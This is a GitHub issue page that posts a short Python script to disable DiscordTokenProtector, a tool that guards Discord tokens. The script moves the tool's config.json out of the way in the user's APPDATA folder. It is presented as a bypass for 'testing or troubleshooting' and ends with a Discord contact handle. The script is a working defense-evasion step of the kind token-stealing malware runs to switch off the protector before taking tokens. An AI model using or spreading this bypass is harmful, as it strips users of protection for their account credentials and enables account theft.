Skip to content

Bypass for killprotector Function in DiscordTokenProtector #91

@cheflilou

Description

@cheflilou

The killprotector function in DiscordTokenProtector was analyzed, and a bypass has been implemented for testing or troubleshooting purposes. Below is the bypass script:
import os
import shutil

def bypass_killprotector():
roaming = os.getenv('APPDATA')
path = os.path.join(roaming, "DiscordTokenProtector")
config_path = os.path.join(path, "config.json")
try:
if os.path.exists(path):

        backup_path = os.path.join(path, "config_backup.json")
        if os.path.exists(config_path):
            shutil.move(config_path, backup_path)
            print(f"Bypassed protection by backing up config.json to: {backup_path}")
        else:
            print("config.json not found, no protection to bypass.")
    else:
        print("DiscordTokenProtector directory does not exist.")
except Exception as e:
    print(f"Error during bypass: {e}")

bypass_killprotector()
Purpose of the Bypass:

This bypass script is designed to rename or back up the config.json file found in the DiscordTokenProtector directory.
By doing so, the protection functionality is effectively disabled, allowing further investigation or development.

Contact Information: Discord: notadl22

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions